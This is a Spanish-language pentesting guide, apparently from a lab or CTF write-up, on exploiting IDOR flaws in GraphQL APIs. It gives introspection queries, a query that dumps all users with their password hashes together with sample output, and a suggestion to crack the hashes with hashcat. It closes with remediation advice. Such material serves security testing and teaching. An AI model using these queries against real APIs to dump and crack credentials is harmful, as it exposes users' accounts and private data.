Skip to content

GraphQL — IDOR (Insecure Direct Object Reference)

Para identificar problemas de autorización defectuosa en una API GraphQL, primero hay que identificar puntos de la aplicación que permitan acceder a datos para los que no se tiene autorización explícita. Enumerando la aplicación web (por ejemplo, capturando el tráfico al acceder al propio perfil de usuario), a menudo se descubre una query GraphQL que revela más de lo esperado si se le agregan campos o se modifican sus argumentos.

Flujo de explotación paso a paso

1. Identificar el tipo relevante vía introspección

graphql
{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}
  • Ver graphql_information_disclosure.md para el detalle completo de técnicas de introspección — este documento asume que ya se identificó el tipo/campos de interés.

2. Consultar directamente el objeto de otro usuario

Si la query user acepta un argumento username, se puede consultar el perfil de cualquier usuario simplemente cambiando el valor, sin que la aplicación valide si el solicitante tiene autorización sobre ese usuario específico:

graphql
{
  user(username: "test") {
    username
    password
  }
}
  • Este es el patrón central de IDOR en GraphQL: la query en sí no distingue "mi propio perfil" de "el perfil de cualquier otro" — la única protección posible sería una validación server-side que compare el username solicitado contra el usuario de la sesión autenticada, algo que frecuentemente se omite.

3. Descubrir los argumentos disponibles de cada query

graphql
{
  __schema {
    queryType {
      fields {
        name
        args {
          name
          type {
            name
          }
        }
        type {
          name
          kind
        }
      }
    }
  }
}
json
{
  "data": {
    "__schema": {
      "queryType": {
        "fields": [
          { "name": "node", "args": [{ "name": "id", "type": { "name": null } }], "type": { "name": "Node", "kind": "INTERFACE" } },
          { "name": "secrets", "args": [], "type": { "name": null, "kind": "LIST" } },
          { "name": "users", "args": [], "type": { "name": null, "kind": "LIST" } },
          { "name": "posts", "args": [], "type": { "name": null, "kind": "LIST" } },
          { "name": "user", "args": [{ "name": "username", "type": { "name": null } }], "type": { "name": "UserObject", "kind": "OBJECT" } },
          { "name": "postByAuthor", "args": [{ "name": "author", "type": { "name": null } }], "type": { "name": null, "kind": "LIST" } },
          { "name": "post", "args": [{ "name": "id", "type": { "name": null } }], "type": { "name": "PostObject", "kind": "OBJECT" } }
        ]
      }
    }
  }
}
  • Aquí se confirma que user acepta un argumento username — el candidato directo a IDOR mostrado en el paso 2.
  • Igualmente relevante: la query users (plural, sin argumentos) sugiere que devuelve todos los usuarios de una sola vez, sin necesidad siquiera de iterar nombres — el vector de mayor impacto si está disponible.

4. Confirmar los campos completos del objeto objetivo

graphql
{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}
json
{
  "data": {
    "__type": {
      "name": "UserObject",
      "fields": [
        { "name": "uuid", "type": { "name": null, "kind": "NON_NULL" } },
        { "name": "id", "type": { "name": null, "kind": "NON_NULL" } },
        { "name": "username", "type": { "name": "String", "kind": "SCALAR" } },
        { "name": "password", "type": { "name": "String", "kind": "SCALAR" } },
        { "name": "role", "type": { "name": "String", "kind": "SCALAR" } },
        { "name": "msg", "type": { "name": "String", "kind": "SCALAR" } },
        { "name": "posts", "type": { "name": "PostObjectConnection", "kind": "OBJECT" } }
      ]
    }
  }
}

5. Explotación final: volcar todos los usuarios con todos los campos sensibles

Con la query users (sin autenticación adicional ni filtrado por argumento) y todos los campos confirmados en el paso anterior, se puede pedir todo de una sola vez:

graphql
{
  users {
    id
    uuid
    username
    role
    msg
    password
  }
}
json
{
  "data": {
    "users": [
      {
        "id": "VXNlck9iamVjdDox",
        "uuid": "1",
        "username": "jsmith",
        "role": "user",
        "msg": "Welcome!",
        "password": "c874441baa22306df202ca127f23d3a7"
      },
      {
        "id": "VXNlck9iamVjdDoy",
        "uuid": "2",
        "username": "test",
        "role": "user",
        "msg": "Test",
        "password": "b4574701cdf945940353b356925dddb7"
      },
      {
        "id": "VXNlck9iamVjdDoz",
        "uuid": "3",
        "username": "admin",
        "role": "admin",
        "msg": "Hello admin!",
        "password": "FLAG{******}"
      }
    ]
  }
}
  • Este es el ejemplo canónico de por qué "seguridad por oscuridad de la interfaz" no funciona en GraphQL: aunque la interfaz web oficial nunca solicite el campo password en su propia query interna, el schema del backend sigue exponiéndolo, y GraphQL permite al cliente pedir cualquier campo definido en el schema independientemente de lo que la interfaz "oficial" pida normalmente.
  • Los valores de password parecen hashes (probablemente MD5, dado el formato de 32 caracteres hexadecimales) — el siguiente paso natural sería intentar crackearlos offline con hashcat -m 0 contra un diccionario como rockyou.txt.

Decodificación de IDs globales (Relay-style)

Los valores de id codificados en Base64 (VXNlck9iamVjdDox) siguen la convención de Relay, combinando el nombre del tipo y el ID interno separados por ::

c
❯ echo 'VXNlck9iamVjdDox' | base64 -d

UserObject:1
  • Decodificar estos IDs puede revelar directamente la estructura interna de la base de datos (nombres de tabla reales), útil tanto para entender mejor el schema como para intentar referenciar objetos por ID en vez de por username en otras queries que sí acepten un argumento id.

Notas de metodología

  • Priorizar queries en plural (users, posts, orders) sobre las singulares (user, post) al buscar IDOR — las plurales a menudo devuelven el conjunto completo sin ningún filtrado por autorización, mientras que las singulares al menos requieren adivinar/enumerar un identificador.
  • Probar sistemáticamente cada campo del tipo objetivo, no solo los que la interfaz oficial usa — el ejemplo de password expuesto en el schema mientras la UI nunca lo solicita es el patrón más común de hallazgo en la práctica.
  • Documentar el hallazgo indicando explícitamente qué campos deberían estar protegidos y no lo están, ya que la remediación correcta es implementar control de acceso a nivel de resolver (la función que resuelve cada campo individual en el backend), no simplemente ocultar el campo de la documentación pública.